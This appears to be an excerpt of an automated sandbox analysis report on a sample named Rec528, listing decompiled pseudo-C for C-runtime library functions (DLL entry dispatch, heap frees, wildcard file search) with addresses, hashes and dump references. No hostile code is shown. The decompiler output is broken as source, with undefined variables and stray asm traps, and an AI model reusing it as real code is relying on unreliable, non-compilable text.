						_t26 = E10001000();
						_t45 = _t26;
						 *(_t47 - 0x1c) = _t45;
						__eflags = _t42 - 1;
						if(_t42 == 1) {
							__eflags = _t45;
							if(_t45 == 0) {
								_push(_t35);
								_push(_t26);
								_push( *((intOrPtr*)(_t47 + 8)));
								_t29 = E10001000();
								__eflags = _t35;
								_t14 = _t35 != 0;
								__eflags = _t14;
								_push((_t29 & 0xffffff00 | _t14) & 0x000000ff);
								E1000287C(_t35, _t40, _t42, _t45, _t14);
								_pop(_t37);
								E10002A37( *((intOrPtr*)(_t47 + 8)), _t45, _t35);
							}
						}
						__eflags = _t42;
						if(_t42 == 0) {
							L13:
							_t45 = E10002722(_t35, _t37, _t40, _t42, _t45,  *((intOrPtr*)(_t47 + 8)), _t42, _t35);
							 *(_t47 - 0x1c) = _t45;
							__eflags = _t45;
							if(_t45 != 0) {
								_t45 = E10002A37( *((intOrPtr*)(_t47 + 8)), _t42, _t35);
								 *(_t47 - 0x1c) = _t45;
							}
							goto L16;
						} else {
							__eflags = _t42 - 3;
							if(_t42 != 3) {
								goto L16;
							}
							goto L13;
						}
					}
					__eflags = _t42 - 2;
					if(_t42 == 2) {
						goto L6;
					}
					_t35 =  *(_t47 + 0x10);
					goto L8;
				}
				_t52 =  *0x10017968 - _t42; // 0x1
				if(_t52 > 0) {
					goto L3;
				}
				_t24 = 0;
				goto L17;
			}

0x1000292c
0x1000292c
0x1000292e
0x10002933
0x10002938
0x1000293d
0x1000294e
0x1000294e
0x10002952
0x10002955
0x10002961
0x10002961
0x1000296e
0x10002970
0x10002973
0x10002975
0x10002a1e
0x10002a1e
0x10002a25
0x10002a27
0x10002a2a
0x10002a36
0x10002a36
0x10002985
0x10002987
0x1000298a
0x1000298c
0x00000000
0x00000000
0x10002992
0x10002992
0x10002993
0x10002994
0x10002997
0x1000299c
0x1000299e
0x100029a1
0x100029a4
0x100029a6
0x100029a8
0x100029aa
0x100029ab
0x100029ac
0x100029af
0x100029b4
0x100029b6
0x100029b6
0x100029bc
0x100029bd
0x100029c2
0x100029c8
0x100029c8
0x100029a8
0x100029cd
0x100029cf
0x100029d6
0x100029e0
0x100029e2
0x100029e5
0x100029e7
0x100029f3
0x10002a1b
0x10002a1b
0x00000000
0x100029d1
0x100029d1
0x100029d4
0x00000000
0x00000000
0x00000000
0x100029d4
0x100029cf
0x10002957
0x1000295a
0x00000000
0x00000000
0x1000295c
0x00000000
0x1000295c
0x1000293f
0x10002945
0x00000000
0x00000000
0x10002947
0x00000000

APIs

dllmain_raw.LIBCMT ref: 10002969
dllmain_crt_dispatch.LIBCMT ref: 10002980
dllmain_raw.LIBCMT ref: 100029C8
dllmain_crt_dispatch.LIBCMT ref: 100029DB
dllmain_raw.LIBCMT ref: 100029EE

Memory Dump Source

Source File: 00000002.00000002.444227906.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.444222035.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.444250989.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.444265818.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_Rec528.jbxd

Similarity

API ID: dllmain_raw$dllmain_crt_dispatch
String ID:
API String ID: 3136044242-0
Opcode ID: 03221fe60647375a6c7765c943799b8376bd44600348218b49818733f6590165
Instruction ID: 0d418d2348ab436212dd1c6fb148f85ee2973b0e757816593bc875e0ad594ce7
Opcode Fuzzy Hash: 03221fe60647375a6c7765c943799b8376bd44600348218b49818733f6590165
Instruction Fuzzy Hash: 8E219276E00259ABFB32CF14CD41EAF7AA9EB85AE0F114115FC446B219D7309D51DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00425A66 Relevance: 7.5, APIs: 5, Instructions: 40
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E00425A66(intOrPtr* _a4) {
				intOrPtr _t6;
				intOrPtr* _t21;
				void* _t23;
				void* _t24;
				void* _t25;
				void* _t26;
				void* _t27;

				_t21 = _a4;
				if(_t21 != 0) {
					_t23 =  *_t21 -  *0x43d160; // 0x43d1b4
					if(_t23 != 0) {
						E0041E238(_t7);
					}
					_t24 =  *((intOrPtr*)(_t21 + 4)) -  *0x43d164; // 0x450784
					if(_t24 != 0) {
						E0041E238(_t8);
					}
					_t25 =  *((intOrPtr*)(_t21 + 8)) -  *0x43d168; // 0x450784
					if(_t25 != 0) {
						E0041E238(_t9);
					}
					_t26 =  *((intOrPtr*)(_t21 + 0x30)) -  *0x43d190; // 0x43d1b8
					if(_t26 != 0) {
						E0041E238(_t10);
					}
					_t6 =  *((intOrPtr*)(_t21 + 0x34));
					_t27 = _t6 -  *0x43d194; // 0x450788
					if(_t27 != 0) {
						return E0041E238(_t6);
					}
				}
				return _t6;
			}

0x00425a6c
0x00425a71
0x00425a75
0x00425a7b
0x00425a7e
0x00425a83
0x00425a87
0x00425a8d
0x00425a90
0x00425a95
0x00425a99
0x00425a9f
0x00425aa2
0x00425aa7
0x00425aab
0x00425ab1
0x00425ab4
0x00425ab9
0x00425aba
0x00425abd
0x00425ac3
0x00000000
0x00425acb
0x00425ac3
0x00425ace

APIs

_free.LIBCMT ref: 00425A7E

Part of subcall function 0041E238: HeapFree.KERNEL32(00000000,00000000,?,00425D07,?,00000000,?,?,?,00425FAA,?,00000007,?,?,0042649D,?), ref: 0041E24E
Part of subcall function 0041E238: GetLastError.KERNEL32(?,?,00425D07,?,00000000,?,?,?,00425FAA,?,00000007,?,?,0042649D,?,?), ref: 0041E260

_free.LIBCMT ref: 00425A90
_free.LIBCMT ref: 00425AA2
_free.LIBCMT ref: 00425AB4
_free.LIBCMT ref: 00425AC6

Memory Dump Source

Source File: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.442855707.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Rec528.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: ecef4e8d75fb8ce96c2f369775812b1e7556ebdaa90a8c02d54b4a4fccf6128e
Instruction ID: 44bb4c4bdd525e15b518cfe20609980acefab96804d862c2bbb50dea8d0903d7
Opcode Fuzzy Hash: ecef4e8d75fb8ce96c2f369775812b1e7556ebdaa90a8c02d54b4a4fccf6128e
Instruction Fuzzy Hash: D0F09C32A046146BD624DB56F9C3C4B73EDAE043143D4190BF808DB650C778FCC04A5C

Uniqueness

Uniqueness Score: -1.00%

Function 00442FB3 Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00442FCB
_free.LIBCMT ref: 00442FDD
_free.LIBCMT ref: 00442FEF
_free.LIBCMT ref: 00443001
_free.LIBCMT ref: 00443013

Memory Dump Source

Source File: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.442855707.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Rec528.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 2aad3e5fa485adf972197abe42444ca206f18bad3fecad4d3bdf7461043ea1be
Instruction ID: b796e144102367d81c75d730982b4c61d5d1dbfd69c6644539770f527747fe0f
Opcode Fuzzy Hash: 2aad3e5fa485adf972197abe42444ca206f18bad3fecad4d3bdf7461043ea1be
Instruction Fuzzy Hash: 39F09632404200B7EA60DF76F985C5773F9AA04B14B94880BF044D7A64CB78FCC0965C

Uniqueness

Uniqueness Score: -1.00%

Function 1000C4AE Relevance: 7.5, APIs: 5, Instructions: 40
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E1000C4AE(intOrPtr* _a4) {
				intOrPtr _t6;
				intOrPtr* _t21;
				void* _t23;
				void* _t24;
				void* _t25;
				void* _t26;
				void* _t27;

				_t21 = _a4;
				if(_t21 != 0) {
					_t23 =  *_t21 -  *0x100176f8; // 0x10017748
					if(_t23 != 0) {
						E100079CC(_t7);
					}
					_t24 =  *((intOrPtr*)(_t21 + 4)) -  *0x100176fc; // 0x10018364
					if(_t24 != 0) {
						E100079CC(_t8);
					}
					_t25 =  *((intOrPtr*)(_t21 + 8)) -  *0x10017700; // 0x10018364
					if(_t25 != 0) {
						E100079CC(_t9);
					}
					_t26 =  *((intOrPtr*)(_t21 + 0x30)) -  *0x10017728; // 0x1001774c
					if(_t26 != 0) {
						E100079CC(_t10);
					}
					_t6 =  *((intOrPtr*)(_t21 + 0x34));
					_t27 = _t6 -  *0x1001772c; // 0x10018368
					if(_t27 != 0) {
						return E100079CC(_t6);
					}
				}
				return _t6;
			}

0x1000c4b4
0x1000c4b9
0x1000c4bd
0x1000c4c3
0x1000c4c6
0x1000c4cb
0x1000c4cf
0x1000c4d5
0x1000c4d8
0x1000c4dd
0x1000c4e1
0x1000c4e7
0x1000c4ea
0x1000c4ef
0x1000c4f3
0x1000c4f9
0x1000c4fc
0x1000c501
0x1000c502
0x1000c505
0x1000c50b
0x00000000
0x1000c513
0x1000c50b
0x1000c516

APIs

_free.LIBCMT ref: 1000C4C6

Part of subcall function 100079CC: RtlFreeHeap.NTDLL(00000000,00000000,?,10006680), ref: 100079E2
Part of subcall function 100079CC: GetLastError.KERNEL32(?,?,10006680), ref: 100079F4

_free.LIBCMT ref: 1000C4D8
_free.LIBCMT ref: 1000C4EA
_free.LIBCMT ref: 1000C4FC
_free.LIBCMT ref: 1000C50E

Memory Dump Source

Source File: 00000002.00000002.444227906.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.444222035.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.444250989.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.444265818.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_Rec528.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 256a36538cce82c445d140af70b82f0f9be27484caf1796c286aee4a899c024a
Instruction ID: 8e7e07157a8662766dd415979a0dc6bd2e4eecdcbb719107fdd573e2c6ec1b9e
Opcode Fuzzy Hash: 256a36538cce82c445d140af70b82f0f9be27484caf1796c286aee4a899c024a
Instruction Fuzzy Hash: 94F049358047159BEA41DB68ECC6C1B37E9FB013E47A09809F40CD756ACB34FC808A60

Uniqueness

Uniqueness Score: -1.00%

Function 004416CB Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 206COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00441865

Strings

*?, xrefs: 0044170E

Memory Dump Source

Source File: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.442855707.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Rec528.jbxd

Yara matches

Similarity

API ID: _free
String ID: *?
API String ID: 269201875-2564092906
Opcode ID: bf4b069963676f7d0cb02ad3cdfcf5dcc6c84f2a8695ebd6f3d61cbbb76b9749
Instruction ID: 94cf888e9de60d1963efd33ec482e46fa66187b9afba07f34032ac2584db377d
Opcode Fuzzy Hash: bf4b069963676f7d0cb02ad3cdfcf5dcc6c84f2a8695ebd6f3d61cbbb76b9749
Instruction Fuzzy Hash: 1F613075E002199FEF14DFA9C8815EEFBF5EF48314B24816AE815F7310E6359E818B94

Uniqueness

Uniqueness Score: -1.00%

Function 10007C4A Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 206
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E10007C4A(void* __esi, signed int* _a4, signed int _a8, intOrPtr _a12) {
				intOrPtr _v0;
				signed int _v6;
				signed int _v8;
				signed int _v12;
				signed int _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				intOrPtr* _v72;
				intOrPtr* _v104;
				intOrPtr* _v108;
				intOrPtr _v112;
				signed int _v124;
				struct _WIN32_FIND_DATAW _v608;
				char _v609;
				intOrPtr* _v616;
				union _FINDEX_INFO_LEVELS _v620;
				union _FINDEX_INFO_LEVELS _v624;
				union _FINDEX_INFO_LEVELS _v628;
				signed int _v632;
				union _FINDEX_INFO_LEVELS _v636;
				union _FINDEX_INFO_LEVELS _v640;
				signed int _v644;
				signed int _v648;
				union _FINDEX_INFO_LEVELS _v652;
				union _FINDEX_INFO_LEVELS _v656;
				union _FINDEX_INFO_LEVELS _v660;
				union _FINDEX_INFO_LEVELS _v664;
				signed int _v668;
				union _FINDEX_INFO_LEVELS _v672;
				union _FINDEX_INFO_LEVELS _v676;
				intOrPtr _v724;
				void* __ebx;
				void* __edi;
				intOrPtr* _t131;
				signed int _t132;
				signed int _t134;
				signed int _t139;
				signed int _t140;
				intOrPtr* _t150;
				signed int _t152;
				intOrPtr _t153;
				signed int _t157;
				signed int _t159;
				signed int _t164;
				signed int _t166;
				char _t168;
				signed char _t169;
				signed int _t175;
				union _FINDEX_INFO_LEVELS _t179;
				signed int _t185;
				union _FINDEX_INFO_LEVELS _t188;
				intOrPtr* _t196;
				signed int _t199;
				intOrPtr _t204;
				signed int _t206;
				signed int _t209;
				signed int _t211;
				signed int _t212;
				signed int _t213;
				signed int _t215;
				signed int _t217;
				signed int _t218;
				signed int* _t219;
				signed int _t222;
				void* _t225;
				union _FINDEX_INFO_LEVELS _t226;
				void* _t227;
				intOrPtr _t229;
				signed int _t232;
				signed int _t233;
				signed int _t234;
				signed int _t236;
				intOrPtr* _t239;
				signed int _t241;
				intOrPtr* _t244;
				signed int _t249;
				signed int _t255;
				signed int _t257;
				signed int _t263;
				intOrPtr* _t264;
				signed int _t272;
				signed int _t274;
				intOrPtr* _t275;
				void* _t277;
				signed int _t280;
				signed int _t283;
				signed int _t285;
				intOrPtr _t287;
				void* _t288;
				signed int* _t292;
				signed int _t293;
				signed int _t295;
				signed int _t296;
				signed int _t297;
				signed int _t299;
				void* _t300;
				void* _t301;
				signed int _t302;
				void* _t306;
				signed int _t307;
				void* _t308;
				void* _t309;
				void* _t310;
				signed int _t311;
				void* _t312;
				void* _t313;

				_t131 = _a8;
				_t309 = _t308 - 0x28;
				_push(__esi);
				_t317 = _t131;
				if(_t131 != 0) {
					_t292 = _a4;
					_t222 = 0;
					 *_t131 = 0;
					_t283 = 0;
					_t132 =  *_t292;
					_t232 = 0;
					_v608.cAlternateFileName = 0;
					_v40 = 0;
					_v36 = 0;
					__eflags = _t132;
					if(_t132 == 0) {
						L9:
						_v8 = _t222;
						_t134 = _t232 - _t283;
						_t293 = _t283;
						_v12 = _t293;
						_t271 = (_t134 >> 2) + 1;
						_t136 = _t134 + 3 >> 2;
						__eflags = _t232 - _t293;
						_v16 = (_t134 >> 2) + 1;
						asm("sbb esi, esi");
						_t295 =  !_t293 & _t134 + 0x00000003 >> 0x00000002;
						__eflags = _t295;
						if(_t295 != 0) {
							_t213 = _t283;
							_t280 = _t222;
							do {
								_t264 =  *_t213;
								_v20 = _t264 + 1;
								do {
									_t215 =  *_t264;
									_t264 = _t264 + 1;
									__eflags = _t215;
								} while (_t215 != 0);
								_t222 = _t222 + 1 + _t264 - _v20;
								_t213 = _v12 + 4;
								_t280 = _t280 + 1;
								_v12 = _t213;
								__eflags = _t280 - _t295;
							} while (_t280 != _t295);
							_t271 = _v16;
							_v8 = _t222;
							_t222 = 0;
							__eflags = 0;
						}
						_t296 = E10006272(_t136, _t271, _v8, "true");
						_t310 = _t309 + 0xc;
						__eflags = _t296;
						if(_t296 != 0) {
							_v12 = _t283;
							_t139 = _t296 + _v16 * 4;
							_t233 = _t139;
							_v28 = _t139;
							_t140 = _t283;
							_v16 = _t233;
							__eflags = _t140 - _v40;
							if(_t140 == _v40) {
								L24:
								_v12 = _t222;
								 *_a8 = _t296;
								_t297 = _t222;
								goto L25;
							} else {
								_t274 = _t296 - _t283;
								__eflags = _t274;
								_v32 = _t274;
								do {
									_t150 =  *_t140;
									_t275 = _t150;
									_v24 = _t150;
									_v20 = _t275 + 1;
									do {
										_t152 =  *_t275;
										_t275 = _t275 + 1;
										__eflags = _t152;
									} while (_t152 != 0);
									_t153 = _t275 - _v20 + 1;
									_push(_t153);
									_v20 = _t153;
									_t157 = E1000A361(_t233, _v28 - _t233 + _v8, _v24);
									_t310 = _t310 + 0x10;
									__eflags = _t157;
									if(_t157 != 0) {
										_push(_t222);
										_push(_t222);
										_push(_t222);
										_push(_t222);
										_push(_t222);
										E10005809();
										asm("int3");
										_t306 = _t310;
										_push(_t233);
										_t239 = _v72;
										_t277 = _t239 + 1;
										do {
											_t159 =  *_t239;
											_t239 = _t239 + 1;
											__eflags = _t159;
										} while (_t159 != 0);
										_push(_t283);
										_t285 = _a8;
										_t241 = _t239 - _t277 + 1;
										_v12 = _t241;
										__eflags = _t241 -  !_t285;
										if(_t241 <=  !_t285) {
											_push(_t222);
											_push(_t296);
											_t225 = _t285 + 1 + _t241;
											_t300 = E10007A37(_t225, "true");
											__eflags = _t285;
											if(_t285 == 0) {
												L40:
												_push(_v12);
												_t225 = _t225 - _t285;
												_t164 = E1000A361(_t300 + _t285, _t225, _v0);
												_t311 = _t310 + 0x10;
												__eflags = _t164;
												if(_t164 != 0) {
													goto L45;
												} else {
													_t229 = _a12;
													_t206 = E10008234(_t229);
													_v12 = _t206;
													__eflags = _t206;
													if(_t206 == 0) {
														 *( *(_t229 + 4)) = _t300;
														_t302 = 0;
														_t77 = _t229 + 4;
														 *_t77 =  *(_t229 + 4) + 4;
														__eflags =  *_t77;
													} else {
														E100079CC(_t300);
														_t302 = _v12;
													}
													E100079CC(0);
													_t209 = _t302;
													goto L37;
												}
											} else {
												_push(_t285);
												_t211 = E1000A361(_t300, _t225, _a4);
												_t311 = _t310 + 0x10;
												__eflags = _t211;
												if(_t211 != 0) {
													L45:
													_push(0);
													_push(0);
													_push(0);
													_push(0);
													_push(0);
													E10005809();
													asm("int3");
													_push(_t306);
													_t307 = _t311;
													_t312 = _t311 - 0x298;
													_t166 =  *0x10017004; // 0x2b917a71
													_v124 = _t166 ^ _t307;
													_t244 = _v108;
													_t278 = _v104;
													_push(_t225);
													_push(0);
													_t287 = _v112;
													_v724 = _t278;
													__eflags = _t244 - _t287;
													if(_t244 != _t287) {
														while(1) {
															_t204 =  *_t244;
															__eflags = _t204 - 0x2f;
															if(_t204 == 0x2f) {
																break;
															}
															__eflags = _t204 - 0x5c;
															if(_t204 != 0x5c) {
																__eflags = _t204 - 0x3a;
																if(_t204 != 0x3a) {
																	_t244 = E1000ADA0(_t287, _t244);
																	__eflags = _t244 - _t287;
																	if(_t244 != _t287) {
																		continue;
																	}
																}
															}
															break;
														}
														_t278 = _v616;
													}
													_t168 =  *_t244;
													_v609 = _t168;
													__eflags = _t168 - 0x3a;
													if(_t168 != 0x3a) {
														L56:
														_t226 = 0;
														__eflags = _t168 - 0x2f;
														if(__eflags == 0) {
															L59:
															_t169 = 1;
														} else {
															__eflags = _t168 - 0x5c;
															if(__eflags == 0) {
																goto L59;
															} else {
																__eflags = _t168 - 0x3a;
																_t169 = 0;
																if(__eflags == 0) {
																	goto L59;
																}
															}
														}
														_v676 = _t226;
														_v672 = _t226;
														_push(_t300);
														asm("sbb eax, eax");
														_v668 = _t226;
														_v664 = _t226;
														_v644 =  ~(_t169 & 0x000000ff) & _t244 - _t287 + 0x00000001;
														_v660 = _t226;
														_v656 = _t226;
														_t175 = E10007C2D(_t244 - _t287 + 1, _t287,  &_v676, E10008141(_t278, __eflags));
														_t313 = _t312 + 0xc;
														asm("sbb eax, eax");
														_t179 = FindFirstFileExW( !( ~_t175) & _v668, _t226,  &_v608, _t226, _t226, _t226);
														_t301 = _t179;
														__eflags = _t301 - 0xffffffff;
														if(_t301 != 0xffffffff) {
															_t249 =  *((intOrPtr*)(_v616 + 4)) -  *_v616;
															__eflags = _t249;
															_v648 = _t249 >> 2;
															do {
																_v640 = _t226;
																_v636 = _t226;
																_v632 = _t226;
																_v628 = _t226;
																_v624 = _t226;
																_v620 = _t226;
																_t185 = E10007B5E( &(_v608.cFileName),  &_v640,  &_v609, E10008141(_t278, __eflags));
																_t313 = _t313 + 0x10;
																asm("sbb eax, eax");
																_t188 =  !( ~_t185) & _v632;
																__eflags =  *_t188 - 0x2e;
																if( *_t188 != 0x2e) {
																	L67:
																	_push(_v616);
																	_push(_v644);
																	_push(_t287);
																	_push(_t188);
																	L33();
																	_t313 = _t313 + 0x10;
																	_v652 = _t188;
																	__eflags = _t188;
																	if(_t188 != 0) {
																		__eflags = _v620 - _t226;
																		if(_v620 != _t226) {
																			E100079CC(_v632);
																			_t188 = _v652;
																		}
																		_t226 = _t188;
																	} else {
																		goto L68;
																	}
																} else {
																	_t255 =  *((intOrPtr*)(_t188 + 1));
																	__eflags = _t255;
																	if(_t255 == 0) {
																		goto L68;
																	} else {
																		__eflags = _t255 - 0x2e;
																		if(_t255 != 0x2e) {
																			goto L67;
																		} else {
																			__eflags =  *((intOrPtr*)(_t188 + 2)) - _t226;
																			if( *((intOrPtr*)(_t188 + 2)) == _t226) {
																				goto L68;
																			} else {
																				goto L67;
																			}
																		}
																	}
																}
																L76:
																FindClose(_t301);
																goto L77;
																L68:
																__eflags = _v620 - _t226;
																if(_v620 != _t226) {
																	E100079CC(_v632);
																}
																__eflags = FindNextFileW(_t301,  &_v608);
															} while (__eflags != 0);
															_t196 = _v616;
															_t257 = _v648;
															_t278 =  *_t196;
															_t199 =  *((intOrPtr*)(_t196 + 4)) -  *_t196 >> 2;
															__eflags = _t257 - _t199;
															if(_t257 != _t199) {
																E1000A870(_t278, _t278 + _t257 * 4, _t199 - _t257, 4, E10007A94);
															}
															goto L76;
														} else {
															_push(_v616);
															_push(_t226);
															_push(_t226);
															_push(_t287);
															L33();
															_t226 = _t179;
														}
														L77:
														__eflags = _v656;
														_pop(_t300);
														if(_v656 != 0) {
															E100079CC(_v668);
														}
														_t190 = _t226;
													} else {
														_t190 = _t287 + 1;
														__eflags = _t244 - _t287 + 1;
														if(_t244 == _t287 + 1) {
															_t168 = _v609;
															goto L56;
														} else {
															_push(_t278);
															_push(0);
															_push(0);
															_push(_t287);
															L33();
														}
													}
													_pop(_t288);
													__eflags = _v16 ^ _t307;
													_pop(_t227);
													return E100026A5(_t190, _t227, _v16 ^ _t307, _t278, _t288, _t300);
												} else {
													goto L40;
												}
											}
										} else {
											_t209 = 0xc;
											L37:
											return _t209;
										}
									} else {
										goto L23;
									}
									goto L81;
									L23:
									_t212 = _v12;
									_t263 = _v16;
									 *((intOrPtr*)(_v32 + _t212)) = _t263;
									_t140 = _t212 + 4;
									_t233 = _t263 + _v20;
									_v16 = _t233;
									_v12 = _t140;
									__eflags = _t140 - _v40;
								} while (_t140 != _v40);
								goto L24;
							}
						} else {
							_t297 = _t296 | 0xffffffff;
							_v12 = _t297;
							L25:
							E100079CC(_t222);
							_pop(_t234);
							goto L26;
						}
					} else {
						while(1) {
							_v8 = 0x3f2a;
							_v6 = _t222;
							_t217 = E1000AD60(_t132,  &_v8);
							_t234 =  *_t292;
							__eflags = _t217;
							if(_t217 != 0) {
								_push( &(_v608.cAlternateFileName));
								_push(_t217);
								_push(_t234);
								L46();
								_t309 = _t309 + 0xc;
								_v12 = _t217;
								_t297 = _t217;
							} else {
								_t218 =  &(_v608.cAlternateFileName);
								_push(_t218);
								_push(_t222);
								_push(_t222);
								_push(_t234);
								L33();
								_t297 = _t218;
								_t309 = _t309 + 0x10;
								_v12 = _t297;
							}
							__eflags = _t297;
							if(_t297 != 0) {
								break;
							}
							_t292 =  &(_a4[1]);
							_a4 = _t292;
							_t132 =  *_t292;
							__eflags = _t132;
							if(_t132 != 0) {
								continue;
							} else {
								_t283 = _v608.cAlternateFileName;
								_t232 = _v40;
								goto L9;
							}
							goto L81;
						}
						_t283 = _v608.cAlternateFileName;
						L26:
						_t272 = _t283;
						_v32 = _t272;
						__eflags = _v40 - _t272;
						asm("sbb ecx, ecx");
						_t236 =  !_t234 & _v40 - _t272 + 0x00000003 >> 0x00000002;
						__eflags = _t236;
						_v28 = _t236;
						if(_t236 != 0) {
							_t299 = _t236;
							do {
								E100079CC( *_t283);
								_t222 = _t222 + 1;
								_t283 = _t283 + 4;
								__eflags = _t222 - _t299;
							} while (_t222 != _t299);
							_t283 = _v608.cAlternateFileName;
							_t297 = _v12;
						}
						E100079CC(_t283);
						goto L31;
					}
				} else {
					_t219 = E100058B6(_t317);
					_t297 = 0x16;
					 *_t219 = _t297;
					E100057DC();
					L31:
					return _t297;
				}
				L81:
			}

0x10007c4f
0x10007c52
0x10007c55
0x10007c56
0x10007c58
0x10007c6e
0x10007c72
0x10007c75
0x10007c77
0x10007c79
0x10007c7b
0x10007c7d
0x10007c80
0x10007c83
0x10007c86
0x10007c88
0x10007ceb
0x10007ced
0x10007cf0
0x10007cf2
0x10007cf6
0x10007cff
0x10007d00
0x10007d03
0x10007d05
0x10007d08
0x10007d0c
0x10007d0c
0x10007d0e
0x10007d10
0x10007d12
0x10007d14
0x10007d14
0x10007d19
0x10007d1c
0x10007d1c
0x10007d1e
0x10007d1f
0x10007d1f
0x10007d2a
0x10007d2c
0x10007d2f
0x10007d30
0x10007d33
0x10007d33
0x10007d37
0x10007d3a
0x10007d3d
0x10007d3d
0x10007d3d
0x10007d4a
0x10007d4c
0x10007d4f
0x10007d51
0x10007d69
0x10007d6c
0x10007d6f
0x10007d71
0x10007d74
0x10007d76
0x10007d79
0x10007d7c
0x10007dd9
0x10007ddc
0x10007ddf
0x10007de1
0x00000000
0x10007d7e
0x10007d80
0x10007d80
0x10007d82
0x10007d85
0x10007d85
0x10007d87
0x10007d89
0x10007d8f
0x10007d92
0x10007d92
0x10007d94
0x10007d95
0x10007d95
0x10007d9c
0x10007d9f
0x10007da3
0x10007db0
0x10007db5
0x10007db8
0x10007dba
0x10007e2e
0x10007e2f
0x10007e30
0x10007e31
0x10007e32
0x10007e33
0x10007e38
0x10007e3c
0x10007e3e
0x10007e3f
0x10007e42
0x10007e45
0x10007e45
0x10007e47
0x10007e48
0x10007e48
0x10007e4c
0x10007e4d
0x10007e54
0x10007e57
0x10007e5a
0x10007e5c
0x10007e64
0x10007e65
0x10007e69
0x10007e73
0x10007e77
0x10007e79
0x10007e8d
0x10007e8d
0x10007e90
0x10007e9a
0x10007e9f
0x10007ea2
0x10007ea4
0x00000000
0x10007ea6
0x10007ea6
0x10007eab
0x10007eb2
0x10007eb5
0x10007eb7
0x10007ec8
0x10007eca
0x10007ecc
0x10007ecc
0x10007ecc
0x10007eb9
0x10007eba
0x10007ebf
0x10007ec2
0x10007ed1
0x10007ed7
0x00000000
0x10007eda
0x10007e7b
0x10007e7b
0x10007e81
0x10007e86
0x10007e89
0x10007e8b
0x10007edd
0x10007edf
0x10007ee0
0x10007ee1
0x10007ee2
0x10007ee3
0x10007ee4
0x10007ee9
0x10007eec
0x10007eed
0x10007eef
0x10007ef5
0x10007efc
0x10007eff
0x10007f02
0x10007f05
0x10007f06
0x10007f07
0x10007f0a
0x10007f10
0x10007f12
0x10007f14
0x10007f14
0x10007f16
0x10007f18
0x00000000
0x00000000
0x10007f1a
0x10007f1c
0x10007f1e
0x10007f20
0x10007f2b
0x10007f2d
0x10007f2f
0x00000000
0x00000000
0x10007f2f
0x10007f20
0x00000000
0x10007f1c
0x10007f31
0x10007f31
0x10007f37
0x10007f39
0x10007f3f
0x10007f41
0x10007f63
0x10007f63
0x10007f65
0x10007f67
0x10007f73
0x10007f73
0x10007f69
0x10007f69
0x10007f6b
0x00000000
0x10007f6d
0x10007f6d
0x10007f6f
0x10007f71
0x00000000
0x00000000
0x10007f71
0x10007f6b
0x10007f7b
0x10007f83
0x10007f89
0x10007f8a
0x10007f8c
0x10007f94
0x10007f9a
0x10007fa0
0x10007fa6
0x10007fba
0x10007fbf
0x10007fca
0x10007fda
0x10007fe0
0x10007fe2
0x10007fe5
0x10008008
0x10008008
0x1000800d
0x10008013
0x10008013
0x10008019
0x1000801f
0x10008025
0x1000802b
0x10008031
0x10008052
0x10008057
0x1000805c
0x10008060
0x10008066
0x10008069
0x1000807c
0x1000807c
0x10008082
0x10008088
0x10008089
0x1000808a
0x1000808f
0x10008092
0x10008098
0x1000809a
0x100080f8
0x100080fe
0x10008106
0x1000810b
0x10008111
0x10008112
0x00000000
0x00000000
0x00000000
0x1000806b
0x1000806b
0x1000806e
0x10008070
0x00000000
0x10008072
0x10008072
0x10008075
0x00000000
0x10008077
0x10008077
0x1000807a
0x00000000
0x00000000
0x00000000
0x00000000
0x1000807a
0x10008075
0x10008070
0x10008114
0x10008115
0x00000000
0x1000809c
0x1000809c
0x100080a2
0x100080aa
0x100080af
0x100080be
0x100080be
0x100080c6
0x100080cc
0x100080d2
0x100080d9
0x100080dc
0x100080de
0x100080ee
0x100080f3
0x00000000
0x10007fe7
0x10007fe7
0x10007fed
0x10007fee
0x10007fef
0x10007ff0
0x10007ff8
0x10007ff8
0x1000811b
0x1000811b
0x10008122
0x10008123
0x1000812b
0x10008130
0x10008131
0x10007f43
0x10007f43
0x10007f46
0x10007f48
0x10007f5d
0x00000000
0x10007f4a
0x10007f4a
0x10007f4d
